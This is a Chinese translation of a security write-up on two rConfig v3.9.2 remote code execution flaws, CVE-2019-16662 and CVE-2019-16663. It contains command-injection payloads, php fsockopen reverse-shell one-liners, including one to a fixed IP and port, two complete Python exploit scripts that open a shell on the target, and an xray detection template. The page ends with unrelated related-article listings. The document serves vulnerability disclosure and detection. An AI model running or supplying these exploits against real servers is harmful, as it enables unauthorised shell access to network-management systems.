rConfig v3.9.2 授权认证与未授权RCE (CVE-2019-16663) 、(CVE-2019-16662)
rConfig v3.9.2 authenticated and unauthenticated RCE (CVE-2019-16663) and (CVE-2019-16662)
关于rConfig
rConfig是一个开放源码的网络设备配置管理实用工具,用于网络工程师对网络设备的配置。

图1
关于漏洞的利用
我在两个文件中分别发现了两个远程代码执行漏洞。第一个是ajaxServerSettingsChk.php,攻击者可以通过rootUname参数发送精心构造的一个GET请求,触发未授权RCE漏洞。rootUname参数在源文件第2行中定义,随后会在第13行传递给exec函数,攻击者可以构造参数接收内容实现让操作系统执行恶意命令。这个漏洞很容易利用和发现,后面的篇幅中我将介绍如何发现并利用这个漏洞。
第二个漏洞是在search.crud.php发现的,这文件需要通过身份验证才能触发远程代码执行漏洞。这个漏洞可以通过构造一个包含有两个参数的GET请求触发,
其中searchTerm参数可以包含任意值,但该参数必须存在,才能执行到第63行的exec函数。
跟我平常找RCE漏洞的方法一样,因此我使用自己开发的一个Python脚本(https://github.com/mhaskar/RCEScanner)来列出有哪些不安全的函数。这个脚本在先前的案例研究中曾经使用过。
未授权RCE分析
运行这个脚本过后输出了一些结果,我开始分析这些输出结果并且注意到路径为install/lib/ajaxHandlers/的ajaxServerSettingsChk.php文件,部分代码如下:

图2
从代码可以看出,第2行脚本代码的意思是将GET请求中的rootUname参数值赋值到$rootUname变量中。
在第12行,代码将$rootUname与一些字符串拼接在一起,保存到rootTestCmd1变量,然后传递给第13行的exec函数。后续代码执行了相同的操作。
因此,我们只需注入特定构造命令,在第13行跳出转义字符串来执行命令,为此,我们可以使用如下的Payload:
;your command #
为了方便测试,我修改了13行的exec函数,把exec执行后的命令返回结果显示到页面上,然后编码发送Payload,得到了如下结果:

图3
我们发送编码后的Payload,rootUname参数里经过URL编码的【; id #】命令被成功执行了两次。
为了得到shell,使用下面的Payload:
;php -r '$sock=fsockopen(ip,port);exec("/bin/sh -i <&3 >&3 2>&3");' #
默认的CentOS 7.7 mini版本没有安装nc,所以使用这条Payload更方便测试。
在使用Burp编码并发送有效Payload之后,我们将获得以下内容:

图4
我们反弹回一个shell!
为了自动化完成该过程,我简单编写了一个python代码来利用这个漏洞:
脚本地址:https://gist.github.com/mhaskar/ceb65fa4ca57c3cdccc1edfe2390902e
#!/usr/bin/python
# Exploit Title: rConfig v3.9.2 unauthenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-16662
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22
import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) != 4:
print "[+] Usage : ./exploit.py target ip port"
exit()
target = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]
payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))
install_path = target + "/install"
req = requests.get(install_path, verify=False)
if req.status_code == 404:
print "[-] Installation directory not found!"
print "[-] Exploitation failed !"
exit()
elif req.status_code == 200:
print "[+] Installation directory found!"
url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload
print "[+] Triggering the payload"
print "[+] Check your listener !"
requests.get(url_to_send, verify=False)
如下是执行脚本的结果:

图5
再次反弹得到shell!
授权验证的RCE分析
RCE扫描器的另一个结果路径在:lib/crud/的search.crud.php文件中, 这个漏洞需要登录验证后才能利用。片段代码如下:

图6
首先,我们需要绕过第25行的if语句。发送名为searchTerm参数的GET请求,这样就能进入代码判断逻辑内部,然后我们还需要连合一个名为catCommand参数,这个参数里面包含我们的Payload,在第61行与一些字符串拼接起来后。进入代码判断逻辑内部函数后存储到$command变量中,在第63行传递给exec函数执行。
这里将使用sleep这个Payload来测试漏洞,这个Payload将尝试睡眠5秒钟,执行后观察响应时间并与正常响应时间进行比较就能判断执行成功与否。观察第61行的代码,可以有多种不同的Payload。
此处我的Payload:
""&&$(`sleep 5`)#
通过Burp发送这个Payload,我们能得到如下的响应信息:

图7
响应时间延迟了5000+毫秒,也就意味着命令执行成功了!
当然这里不限于仅仅是用sleep命令做测试,除此之外我们也可以尝试多种Payload。
为了得到一个shell,我使用了php的fsockopen并构造成可以跟串联字符串一起使用的Payload,如下所示:
""&&php -r '$sock=fsockopen("192.168.178.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'#
为了自动化利用该漏洞,我开发了一段简单的python代码:
代码地址:https://gist.github.com/mhaskar/e7e454c7cb0dd9a139b0a43691e258a0
#!/usr/bin/python
# Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-16663
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22
import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) != 6:
print "[+] Usage : ./exploit.py target username password ip port"
exit()
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
request = requests.session()
login_info = {
"user": username,
"pass": password,
"sublogin": 1
}
login_request = request.post(
target+"/lib/crud/userprocess.php",
login_info,
verify=False,
allow_redirects=True
)
dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)
if dashboard_request.status_code == 200:
print "[+] LoggedIn successfully"
payload = '''""&&php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port)
encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&catCommand={0}".format(quote(payload))
print "[+] triggering the payload"
print "[+] Check your listener !"
exploit_req = request.get(encoded_request)
elif dashboard_request.status_code == 302:
print "[-] Wrong credentials !"
exit()
运行漏洞利用代码后,我们能看到如下结果:

图8
成功反弹一个shell!
漏洞披露
我在2019年9月19日向rConfig main developer报告了这两个漏洞,但是没有得到任何修复发布日期,甚至没有得到他们将修复该漏洞的声明。
所以在没有回应的35天后,我公布了这个漏洞。
漏洞检测
译者注:顺着Github找到了系统源码,找到了修复后的漏洞文件
https://github.com/rconfig/rconfig/commit/6ea92aa307e20f0918ebd18be9811e93048d5071
xray poc
name: poc-yaml-rconfig-cve-2019-16663
set:
r: randomInt(800000000, 1000000000)
r1: randomInt(800000000, 1000000000)
rules:
- method: GET
path: /install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3Bexpr%20{{r}}%20%2B%20{{r1}}%20%20%23
expression: |
response.status == 200 && response.body.bcontains(bytes(string(r+r1)))
detail:
author: 17bdw
links:
- https://github.com/rconfig/rconfig/commit/6ea92aa307e20f0918ebd18be9811e93048d5071
- https://www.cnblogs.com/17bdw/p/11840588.html
- https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/
rConfig v3.9.2 授权认证与未授权RCE (CVE-2019-16663) 、(CVE-2019-16662)的更多相关文章
- 关于vue跨域名对接微信授权认证和APP授权认证
这种情况一般也只会出现在前后端分离,跨域名授权的时候吧.耗费了一个前端+一个后台+一个网关,熬夜通宵了两天才整出来一套方法(你们见过凌晨6点的杭州吗,对,我下班的时候天黑了,到家天亮了....),和开 ...
- Redis未授权访问漏洞复现及修复方案
首先,第一个复现Redis未授权访问这个漏洞是有原因的,在 2019-07-24 的某一天,我同学的服务器突然特别卡,卡到连不上的那种,通过 top,free,netstat 等命令查看后发现,CPU ...
- UCloud-201809-001:Redis服务未授权访问漏洞安全预警
UCloud-201809-001:Redis服务未授权访问漏洞安全预警 尊敬的UCloud用户,您好! 发布时间 2018-09-11更新时间 2018-09-11漏洞等级 HighCVE编号 ...
- ZooKeeper未授权访问漏洞确认与修复
目录 探测2181 探测四字命令 用安装好zk环境的客户端连接测试 修复 修复步骤一 关闭四字命令 修复步骤二 关闭未授权访问 zookeeper未授权访问测试参考文章: https://www.cn ...
- uniapp 用户拒绝授权再次调起授权-语音识别、微信地址、附近地址
小程序重构,采用 uniapp 框架.记录一下踩过的坑.关于用户拒绝再次调起授权,及如何识别语音识别.微信地址.附近地址的处理. 语音识别 组件 语音识别,小程序只有录音功能,若要识别录音文件,常规做 ...
- Redis未授权访问写Webshell和公私钥认证获取root权限
0x01 什么是Redis未授权访问漏洞 Redis 默认情况下,会绑定在 0.0.0.0:,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服 ...
- 解决 Page 'http://localhost:63342/v3/js/math/math.map' requested without authorization页面未授权问题
用webstorm调试页面时,老是弹出对话框说页面未授权,如下图: 解决方法尝试了两种都有效,感觉第一种是正解通用,第二种大家也可以了解一下作为参考 第一种: File--Settings如下图 第二 ...
- mongodb未授权访问漏洞
catalogue . mongodb安装 . 未授权访问漏洞 . 漏洞修复及加固 . 自动化检测点 1. mongodb安装 apt-get install mongodb 0x1: 创建数据库目录 ...
- MongoDB数据库未授权访问漏洞及加固
1.漏洞危害 开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增删改高危动作)而且可以远程访问数据库. 2.漏洞成因 在刚安装完毕的 ...
随机推荐
- CentOS7:sorry,that didn't work.please try again!
参考以下解决方案,重点是vi etc/selinux/config 把 enforcing 改为 disable 应用场景 linux管理员忘记root密码,需要进行找回操作.注意事项:本文基于cen ...
- C#中的WinForm的消息机制简述,及消息机制下Invoke,和BeginInvoke的使用和区别
在Invoke或者BeginInvoke的使用中无一例外地使用了委托Delegate,至于委托的本质请参考我的另一随笔:对.net事件的看法. 一.为什么Control类提供了Invoke和Begin ...
- Alpha冲刺(9/10)——追光的人
1.队友信息 队员学号 队员博客 221600219 小墨 https://www.cnblogs.com/hengyumo/ 221600240 真·大能猫 https://www.cnblogs. ...
- 项目Alpha冲刺(团队)-第十天冲刺
格式描述 课程名称:软件工程1916|W(福州大学) 作业要求:项目Alpha冲刺(团队) 团队名称:为了交项目干杯 作业目标:描述第十天冲刺的项目进展.问题困难.心得体会 队员姓名与学号 队员学号 ...
- 编程小白入门分享五:Vue的自定义组件
前言 上篇博客简单介绍了vue,本篇博客要在对vue有一定了解后,才可以比较容易理解自定义组件.想要封装好一个组件,一定要熟练掌握这三个技能,父组件 -> 子组件传值(props).子组件 -& ...
- 36大数据和about云的文章总结
36大数据: 白话机器学习 http://www.36dsj.com/archives/78385 基于Hadoop的数据仓库Hive 基础知识(写的很好) http://www.36dsj.com/ ...
- Combined beamformers for robust broadband regularized superdirective beamforming
[未完待续]结合波束形成器的鲁棒性宽带正则化超指向波束形成方法[1].用于宽带信号的波束形成方法.结合延时求和波束形成DSB以及超指向波束形成SDB方法,给定用户自定义的正则化因子,采用一个简单的参数 ...
- Guava com.google.common.base.Stopwatch Spark程序在yarn中 MethodNotFound
今天在公司提交一个Spark 读取hive中的数据,写入JanusGraph 的app,自己本地调试没有问题,放入环境中提交到yarn 中时,发现app 跑不起. yarn 中日志,也比较明显,app ...
- 81: luogu3370 hash
hash 模板题 #include <bits/stdc++.h> using namespace std; #define ULL unsigned long long const UL ...
- Theano安装笔记
由于实验需要,近三个月来,安装过十几次Theano,基本上每次都是从最基本的nvidia driver装起.总结一些粗浅的安装心得. GPU:Nvidia K40, M40, M60 软件环境:Unb ...